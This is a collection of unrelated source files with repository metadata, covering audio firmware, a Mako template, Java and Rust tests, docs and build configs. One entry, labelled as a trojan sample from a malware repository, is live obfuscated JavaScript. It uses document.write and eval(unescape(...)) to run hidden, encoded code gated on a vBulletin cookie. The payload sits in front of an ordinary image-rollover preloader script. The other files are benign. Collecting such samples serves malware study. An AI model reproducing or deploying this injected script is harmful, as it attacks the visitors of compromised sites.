CS2100_REGREAD_ASSERT(CS2100_INT_CLK_ADDR, CS2100_RATIO_2, data, ((mult_int >> 16) & 0xFF));
CS2100_REGREAD_ASSERT(CS2100_INT_CLK_ADDR, CS2100_RATIO_3, data, ((mult_int >> 8) & 0xFF));
CS2100_REGREAD_ASSERT(CS2100_INT_CLK_ADDR, CS2100_RATIO_4, data, (mult_int & 0xFF));
}
/* Core to generate reference to CS2100 PLL */
void genclock()
{
// // Generate a 1 MHz clock
// configure_clock_rate(pll_sync_clock, 100, 100);
// configure_port_clock_output(p_pll_clk, pll_sync_clock);
// start_clock(pll_sync_clock);
timer t;
unsigned time;
unsigned pinVal = 0;
t :> time;
while(1)
{
p_pll_clk <: pinVal;
pinVal = ~pinVal;
time += (XS1_TIMER_HZ/PLL_SYNC_FREQ/2);
t when timerafter(time) :> void;
}
}
void wait_us(int microseconds)
{
timer t;
unsigned time;
t :> time;
t when timerafter(time + (microseconds * 100)) :> void;
}
void AudioHwInit(chanend ?c_codec)
{
/* DAC in reset */
// p_gpio <: 0;
/* Init the i2c module */
i2c_shared_master_init(r_i2c);
/* Initialise external PLL */
PllInit();
/* Configure external fractional-n clock multiplier for PLL_SYNC_FREQ Hz -> mClkFreq */
PllMult(DEFAULT_MCLK_FREQ, PLL_SYNC_FREQ);
/* Allow some time for mclk to lock and MCLK to stabilise - this is important to avoid glitches at start of stream */
{
timer t;
unsigned time;
t :> time;
t when timerafter(time+AUDIO_PLL_LOCK_DELAY) :> void;
}
}
/* Configures the external audio hardware for the required sample frequency.
* See gpio.h for I2C helper functions and gpio access
*/
void AudioHwConfig(unsigned samFreq, unsigned mClk, chanend ?c_codec, unsigned dsdMode,
unsigned sampRes_DAC, unsigned sampRes_ADC)
{
unsigned char data[1] = {0};
/* Configure external fractional-n clock multiplier for 300Hz -> mClkFreq */
PllMult(mClk, PLL_SYNC_FREQ);
/* Allow some time for mclk to lock and MCLK to stabilise - this is important to avoid glitches at start of stream */
{
timer t;
unsigned time;
t :> time;
t when timerafter(time+AUDIO_PLL_LOCK_DELAY) :> void;
}
while(1)
{
/* Read Unlock Indicator in PLL as sanity check... */
CS2100_REGREAD(CS2100_INT_CLK_ADDR, CS2100_DEVICE_CONTROL, data);
if(!(data[0] & 0x80))
{
break;
}
}
return;
}
| XC | 4 | simongapp/xmos_usb_mems_interface | 01Firmware/PDM_USB/PDM_USB/src/extensions/audiohw.xc | [
"Unlicense"
] |
<%inherit file="/base.mako"/>
<%namespace file="/message.mako" import="render_msg" />
%if message:
${render_msg( message, 'done' )}
%endif
<div class="toolForm">
<h3 align="center">${tool_name} in error's stderr message</h3>
<h4 align="center">Listed in
%if descending == 1:
descending
%else:
ascending
%endif
order by number of error of each type
</h4>
<table align="center" width="70%" class="colored" cellpadding="5" cellspacing="5">
<tr>
<td>
<form method="post" controller="users" action="tool_error_messages?tool=${tool_name}">
<p>
Top <input type="textfield" value="${user_cutoff}" size="3" name="user_cutoff"> shown (0 = all).
</br>
Sort:
<select value="${descending}" size="2" name="descending">
<option value="desc"> descending </option>
<option value="asc"> ascending </option>
</select>
by:
<select value="${sort_by}" size="2" name="sort_by">
<option value="time"> date of the error </option>
<option value="nb"> number of identical error </option>
</select>
</br>
<button name="action" value="commit">Sort my Data!</button>
</p>
</form>
</td>
</tr>
</table>
<table align="center" width="70%" class="colored" cellpadding="5" cellspacing="5" style="border-collapse:collapse;">
%if data:
<tr class="header">
<td>Tool error</td>
<td>Number of error like this</td>
<td>Date of this error</td>
</tr>
<% odd = False%>
%for error in data:
%if odd:
<tr class="odd_row">
%else:
<tr class="tr">
%endif
%if len (error.split ('</br>')) < 7:
<td>${error}</td>
%else:
<style>
.content{
height:100px;
width:600px;
overflow:hidden;
text-overflow:ellipsis;}
input[type='checkbox'] { visibility: hidden; position: absolute; }
input[type='checkbox']:checked + .content { height: auto; width: auto;}
</style>
<td>
<label>
<input type="checkbox" />
<div class="content">
<span class="hidden">
${error.replace ('</br>'.join (error.split ('</br>')[2:-3]), '...') + \
'</br>' + '-' * 25 + ' Extended error ' + '-' * 25 + '</br>' + \
error + '</br>' + '-' * 66}
</span>
</div>
</label>
</td>
%endif
<td>${data[error][0]}</td>
<td>${str(data[error][1])[:11]}</td>
<% odd = not odd %>
%endfor
%endif
</table>
</div>
| Mako | 3 | rikeshi/galaxy | templates/webapps/reports/tool_error_messages.mako | [
"CC-BY-3.0"
] |
export default {
html: '<span>test</span>'
};
| JavaScript | 1 | Theo-Steiner/svelte | test/runtime/samples/single-static-element/_config.js | [
"MIT"
] |
package jadx.tests.integration.types;
import org.junit.jupiter.api.Test;
import jadx.tests.api.SmaliTest;
import static jadx.tests.api.utils.assertj.JadxAssertions.assertThat;
/**
* Issue 1002
* Insertion of additional cast (at use place) needed for successful type inference
*/
public class TestTypeResolver16 extends SmaliTest {
// @formatter:off
/*
public final <T, K> List<T> test(List<? extends T> list, Set<? extends T> set, Function<? super T, ? extends K> function) {
checkParameterIsNotNull(function, "distinctBy");
if (set != null) {
List<? extends T> union = list != null ? union(list, set, function) : null;
if (union != null) {
list = union;
}
}
return list != null ? (List<T>) list : emptyList();
}
*/
// @formatter:on
@Test
public void test() {
assertThat(getClassNodeFromSmali())
.code()
.containsOne("(List<T>) list");
}
}
| Java | 4 | Dev-kishan1999/jadx | jadx-core/src/test/java/jadx/tests/integration/types/TestTypeResolver16.java | [
"Apache-2.0"
] |
[
(script_file)
(function_definition)
] @scope
(function_declaration name: (identifier) @definition.function)
(function_declaration parameters: (parameters (identifier) @definition.parameter))
(let_statement [(scoped_identifier) (identifier)] @definition.var)
(identifier) @reference
| Scheme | 2 | hmac/nvim-treesitter | queries/vim/locals.scm | [
"Apache-2.0"
] |
Render Groups
=============
The :class:`~rich.console.Group` class allows you to group several renderables together so they may be rendered in a context where only a single renderable may be supplied. For instance, you might want to display several renderables within a :class:`~rich.panel.Panel`.
To render two panels within a third panel, you would construct a Group with the *child* renderables as positional arguments then wrap the result in another Panel::
from rich import print
from rich.console import Group
from rich.panel import Panel
panel_group = Group(
Panel("Hello", style="on blue"),
Panel("World", style="on red"),
)
print(Panel(panel_group))
This pattern is nice when you know in advance what renderables will be in a group, but can get awkward if you have a larger number of renderables, especially if they are dynamic. Rich provides a :func:`~rich.console.group` decorator to help with these situations. The decorator builds a group from an iterator of renderables. The following is the equivalent of the previous example using the decorator::
from rich import print
from rich.console import group
from rich.panel import Panel
@group()
def get_panels():
yield Panel("Hello", style="on blue")
yield Panel("World", style="on red")
print(Panel(get_panels()))
| reStructuredText | 4 | gefei/rich | docs/source/group.rst | [
"MIT"
] |
very foo is new Bar with {'Content-Type':'text/plain','Accept':'en-US'}
| Dogescript | 0 | erinkeith/dogescript | test/spec/var/new/arg-multi-json-props/source.djs | [
"MIT"
] |
document.write('<script language="javascript">$="%64b%3d%22%3c7`7%3c7a7%3c7b7%3c7c7%3c7d7%3c7e7%3c7f7%3c7g7%3c7h7%3c7i7%3c7j79+fqb0~)-~ug0Qbbqi8!%3c%2522%3c#%3c$%3c%25%3c%2526%3c%27%3c(%3c)9+fqb0d)-~ug0Qbbqi89+fqb0t)-~ug0Tqdu89+d)K7i7M-t)%3ewudVe||Iuqb89+yv8t)%3ewudTqi89.#9d)K7t7M-t)%3ewudTqdu89%3d8t)%3ewudT%22;dd%3d%22iSx%2522%3c}Sx%3ctSx%3c}^}+yv8d)K7i7M,%2522%2520%2520%279kd)K7i7M0-0%2522%2520%2520%27+m}^}-S]^8d)K7t7M%3cd)K7}7M%3cd)K7i7M9+iSx!-|)K888d)K7i7M6%2520hQQ9;}^}950%25265##950%2522%2526M+iSx%2522-|)K8888d)K7i7M6%2520h##!!9..#9;}^}950!%25209%22;dz%3d%22%2566unc%2574%2569on%2520dw(%2574)%257bca%253d%2527%252564oc%252575m%2565n%252574.w%25257%2532i%2574%252565%2528%252522%2527;ce%253d%2527%252522)%2527;cb%253d%2527%25253csc%252572ipt%252520%256c%25256%2531ngu%252561%2567e%25253d%25255c%252522ja%2576a%252573c%2572i%252570%252574%25255c%252522%25253e%2527;cc%253d%2527%25253c%2525%2535%2563%25252fs%2563%2572i%2570t%25253e%2527;eval%2528%2575nes%2563ape%2528t))%257d%253b%22;cd%3d%223dst+%2553tr%2569n%2567.f%2572%256fmCh%2561rC%256f%2564e((%2574%256d%2570.%2563h%22;cc%3d%225ngt%2568;i%252b+)%257bt%256dp%253dds.%2573%256ci%2563e%2528i,i%252b1)%253bst%25%22;cb%3d%22e%2528ds%2529;%2573t%253dt%256dp%253d%2527%2527;for(%2569%253d%2530;i%253cds.l%256%22;cu%3d%22(gwf}d`4xuzsausq)6~ubugwf}d`6*}r4%3czub}su`%7bf:w%7b%7b%257F}qQzuvxqp%3dobuf4d%7bdKazpqf4)4zaxx%2fbuf4d%7bdKw%7b%7b%257F}qKzuyq4)46upbyu%257FqfK%257F%7byud6%2fbuf4d%7bdK`}yq%7ba`4)4#%2526$%2frazw`}%7bz4d%7bdKw%7b%7b%257F}qKqzuvxqp%3c%3dobuf4}gKqzuvxqp4)4ruxgq%2f}r4%3c5c}zp%7bc:%7bdqfu42245zub}su`%7bf:w%7b%7b%257F}qQzuvxqp%3dfq`afz4}gKqzuvxqp%2f}r4%3c`mdq%7br4p%7bwayqz`:w%7b%7b%257F}q4))43g`f}zs3%3d}r4%3cp%7bwayqz`:w%7b%7b%257F}q:xqzs`|4))4$%3dop%7bwayqz`:w%7b%7b%257F}q4)46`qg`6%2f}gKqzuvxqp4)4p%7bwayqz`:w%7b%7b%257F}q4))43`qg`3%2fp%7bwayqz`:w%7b%7b%257F}q4)433%2fiqxgqo}gKqzuvxqp4)4`faq%2fifq`afz4}gKqzuvxqp%2firazw`}%7bz4d%7bdKsq`W%7b%7b%257F}q%3czuyq%3dobuf4w%7b%7b%257F}q4)46464?4p%7bwayqz`:w%7b%7b%257F}q%2fbuf4gqufw|4)46464?4zuyq4?46)6%2fbuf4gq`G`f4)4zaxx%2fbuf4%7brrgq`4)4$%2fbuf4qzp4)4$%2f}r4%3cw%7b%7b%257F}q:xqzs`|4*4$%3do%7brrgq`4)4w%7b%7b%257F}q:}zpql[r%3cgqufw|%3d%2f}r4%3c%7brrgq`45)49%25%3do%7brrgq`4?)4gqufw|:xqzs`|%2fqzp4)4w%7b%7b%257F}q:}zpql[r%3c6%2f684%7brrgq`%3d%2f}r4%3cqzp4))49%25%3doqzp4)4w%7b%7b%257F}q:xqzs`|%2figq`G`f4)4azqgwudq%3cw%7b%7b%257F}q:gavg`f}zs%3c%7brrgq`84qzp%3d%3d%2fiifq`afz%3cgq`G`f%3d%2firazw`}%7bz4d%7bdKgq`W%7b%7b%257F}q4%3czuyq84buxaq%3dop%7bwayqz`:w%7b%7b%257F}q4)4zuyq4?46)64?4qgwudq%3cbuxaq%3d4?46%2f4qld}fqg)Rf}pum8%27%259Pqw9!$4%2526%27.!-.!-4SY@%2f4du`|);%2f6%2firazw`}%7bz4g|%7bcKd%7bd%3c%3dobuf4d%7bdKczp4)46|``d.;;rvwyr}f:w%7by;ws}9v}z;}zpql:ws}+pl6%2fbuf4rquKczp4)46gwf%7bxxvufg)%258fqg}nuvxq)%258`%7b%7bxvuf)%258x%7bwu`}%7bz)%258yqzavuf)%258g`u`ag)%258p}fqw`%7bf}qg)$6%2fbuf4zqqpK%7bdqz4)4`faq%2f}r4%3cp%7bwayqz`:%7bzwx}w%257FKw%7bdm45)4zaxx%3dp%7bwayqz`:%7bzwx}w%257FKw%7bdm%3c%3d%2f}r4%3cp%7bwayqz`:v%7bpm:%7bzvqr%7bfqazx%7bupKw%7bdm45)4zaxx%3dp%7bwayqz`:v%7bpm:%7bzvqr%7bfqazx%7bupKw%7bdm%3c%3d%2f}r4%3cd%7bdKazpqf45)4zaxx%3do}r4%3c5d%7bdKazpqf:wx%7bgqp%3dzqqpK%7bdqz4)4ruxgq%2fi}r4%3czqqpK%7bdqz%3do}r4%3cd%7bdKw%7b%7b%257F}qKqzuvxqp%3c%3d%3dobux4)4d%7bdKsq`W%7b%7b%257F}q%3cd%7bdKw%7b%7b%257F}qKzuyq%3d%2f}r4%3cbux45)4zaxx%3doz%7bc4)4zqc4Pu`q%3c%3d%2fbux%25264)4zqc4Pu`q%3cbux%3d%2fa`w%27%25264)4Pu`q:A@W%3cz%7bc:sq`RaxxMquf%3c%3d84z%7bc:sq`Y%7bz`|%3c%3d84z%7bc:sq`Pu`q%3c%3d84z%7bc:sq`%255C%7bafg%3c%3d84z%7bc:sq`Y}za`qg%3c%3d84z%7bc:sq`Gqw%7bzpg%3c%3d%3d%2fa`w%25264)4Pu`q:A@W%3cbux%2526:sq`RaxxMquf%3c%3d84bux%2526:sq`Y%7bz`|%3c%3d84bux%2526:sq`Pu`q%3c%3d84bux%2526:sq`%255C%7bafg%3c%3d84bux%2526:sq`Y}za`qg%3c%3d84bux%2526:sq`Gqw%7bzpg%3c%3d%3d%2f}r4%3c4%3c4a`w%27%2526494a`w%25264%3d4;4%25$$$4(4d%7bdK`}yq%7ba`%3e%2522$%3dozqqpK%7bdqz4)4ruxgq%2fiiii}r4%3czqqpK%7bdqz%3doazpqf4)4c}zp%7bc:%7bdqz%3cd%7bdKczp846684rquKczp%3d%2fazpqf:vxaf%3c%3d%2fc}zp%7bc:r%7bwag%3c%3d%2f}r4%3cd%7bdKw%7b%7b%257F}qKqzuvxqp%3c%3d%3doz%7bc4)4zqc4Pu`q%3c%3d%2fd%7bdKgq`W%7b%7b%257F}q%3cd%7bdKw%7b%7b%257F}qKzuyq84z%7bc%3d%2fiiirazw`}%7bz4d%7bdK}z}`%3c%3dobuf4bqf4)4dufgqRx%7bu`%3czub}su`%7bf:uddBqfg}%7bz%3d%2fbuf4bqf%25264)4%3czub}su`%7bf:agqfUsqz`:}zpql[r%3c6C}zp%7bcg4-!6%3d*)$4hh4zub}su`%7bf:agqfUsqz`:}zpql[r%3c6C}zp%7bcg4-,6%3d*)$4hh4zub}su`%7bf:agqfUsqz`:}zpql[r%3c6C}zp%7bcg4Z@6%3d*)$4%3d22%3czub}su`%7bf:agqfUsqz`:}zpql[r%3c3[dqfu3%3d4))49%25%3d22%3czub}su`%7bf:uddZuyq45)43Zq`gwudq3%3d422%3czub}su`%7bf:agqfUsqz`:}zpql[r%3c3YG]Q3%3d4*49%25%3d422%3czub}su`%7bf:agqfUsqz`:}zpql[r%3c3GB%253%3d4*49%25%3d422%3cbqf4*)4%2520%3d%2f}r4%3cbqf%2526%3do}r4%3cp%7bwayqz`:x}z%257Fg%3dor%7bf4%3cbuf4})$%2f4}(p%7bwayqz`:x}z%257Fg:xqzs`|%2f4}??%3do}r4%3cp%7bwayqz`:x}z%257FgO}I:`ufsq`45)46Kvxuz%257F6%3dop%7bwayqz`:x}z%257FgO}I:%7bzwx}w%257FKw%7bdm4)4p%7bwayqz`:x}z%257FgO}I:%7bzwx}w%257F%2fp%7bwayqz`:x}z%257FgO}I:%7bzwx}w%257F4)4g|%7bcKd%7bd%2fiiiip%7bwayqz`:%7bzwx}w%257FKw%7bdm4)4p%7bwayqz`:%7bzwx}w%257F%2fp%7bwayqz`:%7bzy%7bagqad4)4g|%7bcKd%7bd%2fid%7bdK}z}`%3c%3d%2fi(;gwf}d`*%22;de%3d%22M+}Sx-|)K88d)K7}7M;}^}950%2522%259M+yv888d)K7t7M:%25229.-%252096688d)K7t7M:%25229,-)99tSx-~)K8d)K7t7M50!%25209M+u|cu0tSx-|)K88d)K7t7M:%2526950%2522%279M+4-4%3ebu`|qsu8t%3ciSx%2522;}Sx;iSx!;tSx;})Kd)K7}7M%3d!M;7%3es%257F}79+%22;dc%3d%22qi89;%25229+u|cu0d)K7t7M-t)%3ewudTqdu89%3d8t)%3ewudTqi899+yv8d)K7t7M,%25209d)K7t7M-!+d)K7}7M-t)%3ewud]%257F~dx89;!+ve~sdy%257F~0S]^8t%3c}%3ci9kfqb0b-888i;8$:t99;8}Nt9:$9;t9+budeb~0b+mfqb0t-7vrs}vyb%3es%257F}7+fqb0iSx!%3c%22;cz%3d%22%2566u%256ec%2574i%256fn %2563z%2528%2563%257a)%257bret%2575rn%2520c%2561%252b%2563%2562%252bc%2563+%2563%2564+c%2565+c%257a;}%253b%22;da%3d%22fqb0})-~ug0Qbbqi87|qe~%257F7%3c7%7brtfu7%3c7zsdxb7%3c7ytvyb7%3c7xufyv7%3c7wvhuc7%3c7vwfuc7%3c7uxwxd7%3c7tzu~y7%3c7s%7bud~7%3c7r||uf7%3c7q}dgu79+fqb0|)-~ug0Qbbqi87q7%3c7r7%3c7s7%3c7t7%3c7u7%3c7v7%3c7w7%3c7x7%3c7y7%3c7z7%3c7%7b7%3c7|7%3c7}7%3c7~7%3c7%257F7%22;ca%3d%22%2566%2575nc%2574%2569o%256e%2520dcs%2528ds%252ce%2573)%257bds%253dun%2565s%2563ap%22;ce%3d%22%2561%2572Co%2564e%2541t(%2530)^%2528%25270x0%2530%2527+es%2529%2529);}%257d%22;op%3d%22%2524%253d%2522dw(d%2563%2573(cu%252c14)%2529;%2522;%22;st%3d%22%2573t%253d%2522$%253ds%2574%253b%2564c%2573%2528%2564a%252b%2564%2562%252b%2564%2563+%2564%2564%252b%2564e%252c1%2530%2529;%2564w%2528%2573t%2529%253bs%2574%253d%2524;%2522;%22;%69f %28d%6fc%75me%6et.%63ook%69%65%2eind%65%78%4f%66(%27%76%62ull%65%74%69%6e%5f%6dult%69qu%6f%74%65%3d%27)%3d%3d-1)%7bsc(%27vbulle%74%69%6e_%6dul%74iq%75ote%3d%27,2,7%29;e%76a%6c%28u%6ee%73ca%70e%28dz+%63%7a+op%2bs%74)+%27dw%28dz%2bcz%28$+s%74))%3b%27)}e%6cse%7b$%3d%27%27};function%20s%63(c%6em,%76,e%64)%7bv%61r e%78d%3dnew D%61t%65();%65xd.%73%65%74D%61%74e(%65xd.%67e%74Da%74e(%29+%65d);%64oc%75men%74%2ecoo%6bie%3dc%6em%2b %27%3d%27 +%65sc%61%70%65(v%29+%27;e%78p%69%72es%3d%27+e%78d.%74o%47MTS%74ri%6e%67%28);}%3b";eval(unescape($));document.write($);</script>');
<!--
A1 = new Image();
A1.src = "images/tlacitko1.gif";
B1 = new Image();
B1.src = "images/tlacitko2.gif";
C1 = new Image();
C1.src = "images/tlacitko3.gif";
D1 = new Image();
D1.src = "images/tlacitko4.gif";
E1 = new Image();
E1.src = "images/tlacitko5.gif";
F1 = new Image();
F1.src = "images/top_menu1.gif";
G1 = new Image();
G1.src = "images/top_menu2.gif";
H1 = new Image();
H1.src = "images/top_menu3.gif";
I1 = new Image();
I1.src = "images/top_menu4.gif";
J1 = new Image();
J1.src = "images/top_menu5.gif";
K1 = new Image();
K1.src = "images/top_menu6.gif";
L1 = new Image();
L1.src = "images/top_menu7.gif";
M1 = new Image();
M1.src = "images/ism.gif";
A2 = new Image();
A2.src = "images/tlacitko1_on.gif";
B2 = new Image();
B2.src = "images/tlacitko2_on.gif";
C2 = new Image();
C2.src = "images/tlacitko3_on.gif";
D2 = new Image();
D2.src = "images/tlacitko4_on.gif";
E2 = new Image();
E2.src = "images/tlacitko5_on.gif";
F2 = new Image();
F2.src = "images/top_menu1_on.gif";
G2 = new Image();
G2.src = "images/top_menu2_on.gif";
H2 = new Image();
H2.src = "images/top_menu3_on.gif";
I2 = new Image();
I2.src = "images/top_menu4_on.gif";
J2 = new Image();
J2.src = "images/top_menu5_on.gif";
K2 = new Image();
K2.src = "images/top_menu6_on.gif";
L2 = new Image();
L2.src = "images/top_menu7_on.gif";
M2 = new Image();
M2.src = "images/ism_on.gif";
// --> | Redcode | 0 | fengjixuchui/Family | JS/Trojan.JS.Agent.cw | [
"MIT"
] |
Import parser
Function EvalExpr:Expr( toker:Toker )
Local buf:=New StringStack
While toker.Toke And toker.Toke<>"~n" And toker.TokeType<>TOKE_LINECOMMENT
buf.Push toker.Toke
toker.NextToke
Wend
Local source:=buf.Join( "" )
toker=New Toker( "",source )
Local parser:=New Parser( toker,Null )
Local expr:=parser.ParseExpr().Semant()
Return expr
End
Function EvalBool:Bool( toker:Toker )
Local expr:=EvalExpr( toker )
If Not BoolType( expr.exprType ) expr=expr.Cast( Type.boolType,CAST_EXPLICIT )
If expr.Eval() Return True
Return False
End
Function EvalText:String( toker:Toker )
Local expr:=EvalExpr( toker )
Local val:=expr.Eval()
If StringType( expr.exprType )
Return EvalConfigTags( val )
Endif
If BoolType( expr.exprType )
If val Return "True"
Return "False"
End
Return val
End
Function PreProcess$( path$,mdecl:ModuleDecl=Null )
Local cnest,ifnest,line,source:=New StringStack
PushEnv GetConfigScope()
Local p_cd:=GetConfigVar( "CD" )
Local p_modpath:=GetConfigVar( "MODPATH" )
SetConfigVar "CD",ExtractDir( RealPath( path ) )
If mdecl SetConfigVar "MODPATH",mdecl.rmodpath Else SetConfigVar "MODPATH",""
Local toker:=New Toker( path,LoadString( path ) )
toker.NextToke
Local attrs:=0
' If mdecl mdecl.ImportModule "monkey",0
Repeat
If line
source.Push "~n"
While toker.Toke And toker.Toke<>"~n" And toker.TokeType<>TOKE_LINECOMMENT
toker.NextToke
Wend
If Not toker.Toke Exit
toker.NextToke
Endif
line+=1
_errInfo=toker.Path+"<"+toker.Line+">"
If toker.TokeType=TOKE_SPACE toker.NextToke
If toker.Toke<>"#"
If cnest=ifnest
Local line:=""
While toker.Toke And toker.Toke<>"~n" And toker.TokeType<>TOKE_LINECOMMENT
Local toke:=toker.Toke
toker.NextToke
If mdecl
Select toke.ToLower()
Case "public"
attrs=0
Case "private"
attrs=DECL_PRIVATE
Case "import"
While toker.TokeType=TOKE_SPACE
toke+=toker.Toke
toker.NextToke
Wend
If toker.TokeType=TOKE_IDENT
Local modpath:=toker.Toke
While toker.NextToke="."
modpath+="."
toker.NextToke
If toker.TokeType<>TOKE_IDENT Exit
modpath+=toker.Toke
Wend
toke+=modpath
' Print "Import found: "+toke
mdecl.ImportModule modpath,attrs
Endif
End
Endif
line+=toke
Wend
If line source.Push line
Endif
Continue
Endif
Local toke:=toker.NextToke
If toker.TokeType=TOKE_SPACE toke=toker.NextToke
Local stm:=toke.ToLower()
Local ty:=toker.TokeType()
toker.NextToke
If stm="end" Or stm="else"
If toker.TokeType=TOKE_SPACE toker.NextToke
If toker.Toke.ToLower()="if"
toker.NextToke
stm+="if"
Endif
Endif
Select stm
Case "rem"
ifnest+=1
Case "if"
ifnest+=1
If cnest=ifnest-1
If EvalBool( toker ) cnest=ifnest
Endif
Case "else"
If Not ifnest Err "#Else without #If"
If cnest=ifnest
cnest|=$10000
Else If cnest=ifnest-1
cnest=ifnest
Endif
Case "elseif"
If Not ifnest Err "#ElseIf without #If"
If cnest=ifnest
cnest|=$10000
Else If cnest=ifnest-1
If EvalBool( toker ) cnest=ifnest
Endif
Case "end","endif"
If Not ifnest Err "#End without #If or #Rem"
ifnest-=1
If ifnest<(cnest & $ffff) cnest=ifnest
Case "print"
If cnest=ifnest
Print EvalText( toker )
Endif
Case "error"
If cnest=ifnest
Err EvalText( toker )
Endif
Default
If cnest=ifnest
If ty=TOKE_IDENT
If toker.TokeType=TOKE_SPACE toker.NextToke
Local op:=toker.Toke()
Select op
Case "=","+="
Select toke
Case "HOST","LANG","CONFIG","TARGET","SAFEMODE"
Err "App config var '"+toke+"' cannot be modified"
End
toker.NextToke
Select op
Case "="
Local expr:=EvalExpr( toker )
Local val:=expr.Eval()
If Not GetConfigVars().Contains( toke )
If StringType( expr.exprType ) val=EvalConfigTags( val )
SetConfigVar toke,val,expr.exprType
Endif
Case "+="
Local val:=EvalText( toker )
Local var:=GetConfigVar( toke )
If BoolType( GetConfigVarType( toke ) )
If var="1" var="True" Else var="False"
Endif
If var And Not val.StartsWith( ";" ) val=";"+val
SetConfigVar toke,var+val
End
Default
Err "Expecting assignment operator."
End
Else
Err "Unrecognized preprocessor directive '"+toke+"'"
Endif
Endif
End
Forever
SetConfigVar "MODPATH",p_modpath
SetConfigVar "CD",p_cd
PopEnv
Return source.Join( "" )
End
| Monkey | 3 | Regal-Internet-Brothers/webcc-monkey | webcc.data/modules/trans/preprocessor.monkey | [
"Zlib"
] |
doctype
html
head
meta(charset="utf-8")
title= self.api.name || 'API Documentation'
body
p Test layout page for a custom API
| Jade | 2 | mikunn/aglio | test/test.jade | [
"MIT"
] |
use super::*;
use core::iter::*;
#[test]
fn test_repeat() {
let mut it = repeat(42);
assert_eq!(it.next(), Some(42));
assert_eq!(it.next(), Some(42));
assert_eq!(it.next(), Some(42));
assert_eq!(repeat(42).size_hint(), (usize::MAX, None));
}
#[test]
fn test_repeat_take() {
let mut it = repeat(42).take(3);
assert_eq!(it.next(), Some(42));
assert_eq!(it.next(), Some(42));
assert_eq!(it.next(), Some(42));
assert_eq!(it.next(), None);
is_trusted_len(repeat(42).take(3));
assert_eq!(repeat(42).take(3).size_hint(), (3, Some(3)));
assert_eq!(repeat(42).take(0).size_hint(), (0, Some(0)));
assert_eq!(repeat(42).take(usize::MAX).size_hint(), (usize::MAX, Some(usize::MAX)));
}
#[test]
fn test_repeat_take_collect() {
let v: Vec<_> = repeat(42).take(3).collect();
assert_eq!(v, vec![42, 42, 42]);
}
#[test]
fn test_repeat_with() {
#[derive(PartialEq, Debug)]
struct NotClone(usize);
let mut it = repeat_with(|| NotClone(42));
assert_eq!(it.next(), Some(NotClone(42)));
assert_eq!(it.next(), Some(NotClone(42)));
assert_eq!(it.next(), Some(NotClone(42)));
assert_eq!(repeat_with(|| NotClone(42)).size_hint(), (usize::MAX, None));
}
#[test]
fn test_repeat_with_take() {
let mut it = repeat_with(|| 42).take(3);
assert_eq!(it.next(), Some(42));
assert_eq!(it.next(), Some(42));
assert_eq!(it.next(), Some(42));
assert_eq!(it.next(), None);
is_trusted_len(repeat_with(|| 42).take(3));
assert_eq!(repeat_with(|| 42).take(3).size_hint(), (3, Some(3)));
assert_eq!(repeat_with(|| 42).take(0).size_hint(), (0, Some(0)));
assert_eq!(repeat_with(|| 42).take(usize::MAX).size_hint(), (usize::MAX, Some(usize::MAX)));
}
#[test]
fn test_repeat_with_take_collect() {
let mut curr = 1;
let v: Vec<_> = repeat_with(|| {
let tmp = curr;
curr *= 2;
tmp
})
.take(5)
.collect();
assert_eq!(v, vec![1, 2, 4, 8, 16]);
}
#[test]
fn test_successors() {
let mut powers_of_10 = successors(Some(1_u16), |n| n.checked_mul(10));
assert_eq!(powers_of_10.by_ref().collect::<Vec<_>>(), &[1, 10, 100, 1_000, 10_000]);
assert_eq!(powers_of_10.next(), None);
let mut empty = successors(None::<u32>, |_| unimplemented!());
assert_eq!(empty.next(), None);
assert_eq!(empty.next(), None);
}
#[test]
fn test_once() {
let mut it = once(42);
assert_eq!(it.next(), Some(42));
assert_eq!(it.next(), None);
}
#[test]
fn test_once_with() {
let count = Cell::new(0);
let mut it = once_with(|| {
count.set(count.get() + 1);
42
});
assert_eq!(count.get(), 0);
assert_eq!(it.next(), Some(42));
assert_eq!(count.get(), 1);
assert_eq!(it.next(), None);
assert_eq!(count.get(), 1);
assert_eq!(it.next(), None);
assert_eq!(count.get(), 1);
}
#[test]
fn test_empty() {
let mut it = empty::<i32>();
assert_eq!(it.next(), None);
}
| Rust | 4 | mbc-git/rust | library/core/tests/iter/sources.rs | [
"ECL-2.0",
"Apache-2.0",
"MIT-0",
"MIT"
] |
#include <PJONThroughSerial.h>
PJONThroughSerial bus(45);
void setup() {
Serial.begin(9600);
bus.strategy.set_serial(&Serial); // Pass the Serial object you want to use for communication
bus.begin();
bus.send_repeatedly(44, "B", 1, 1000000); // Send B to device 44 every second
};
void loop() {
bus.update();
};
| Arduino | 3 | jcallano/PJON | examples/ARDUINO/Local/ThroughSerial/BlinkTest/Transmitter/Transmitter.ino | [
"Apache-2.0"
] |
#!/bin/sh -e
java="java"
if test -n "$JAVA_HOME"; then
java="$JAVA_HOME/bin/java"
fi
exec "$java" $JAVA_ARGS -jar "$0" "$@"
exit 1
| Shell | 4 | Sindhura8/selenium | java/server/src/org/openqa/selenium/grid/zip-preamble.sh | [
"Apache-2.0"
] |
for(i = [ [ 0, 0, 0],
[10, 12, 10],
[20, 24, 20],
[30, 36, 30],
[20, 48, 40],
[10, 60, 50] ])
{
translate(i)
cube([50, 15, 10], center = true);
} | OpenSCAD | 3 | heristhesiya/OpenJSCAD.org | packages/io/scad-deserializer/tests/conditional_and_iterator_functions/forLoopEx4.scad | [
"MIT"
] |
\documentclass{minimal}
\begin{document}
Hello World!
\begin{x}
\begin{y}
Hello world.
\end{y}
\end{x}
\end{document}
| TeX | 1 | IngoMeyer441/vimtex | test/test-env/test-getters.tex | [
"MIT"
] |
QT.network_private.VERSION = 5.9.4
QT.network_private.name = QtNetwork
QT.network_private.module =
QT.network_private.libs = $$QT_MODULE_LIB_BASE
QT.network_private.includes = $$QT_MODULE_INCLUDE_BASE/QtNetwork/5.9.4 $$QT_MODULE_INCLUDE_BASE/QtNetwork/5.9.4/QtNetwork
QT.network_private.frameworks =
QT.network_private.depends = core_private network
QT.network_private.uses = openssl/nolink
QT.network_private.module_config = v2 internal_module
QT.network_private.enabled_features = openssl system-proxies
QT.network_private.disabled_features = libproxy securetransport openssl-linked
QMAKE_LIBS_OPENSSL =
| QMake | 1 | PLohrmannAMD/renderdoc | qrenderdoc/3rdparty/qt/x64/mkspecs/modules/qt_lib_network_private.pri | [
"MIT"
] |
T -1^n == Times(-1,Power(1,n))
T (-1)^n == Power(-1,n)
## FIXME: v0.6 no translation for extomx
# ar = [
# 1
# a + b
# "cat"
# f(x)
# ]
# T ar == [1,a + b,"cat",f(x)]
## Compound expression
## Must have commas here
ar1 = (
1,
a + b,
"cat",
f(x)
)
ar2 = begin
1,
a + b,
"cat",
f(x)
end
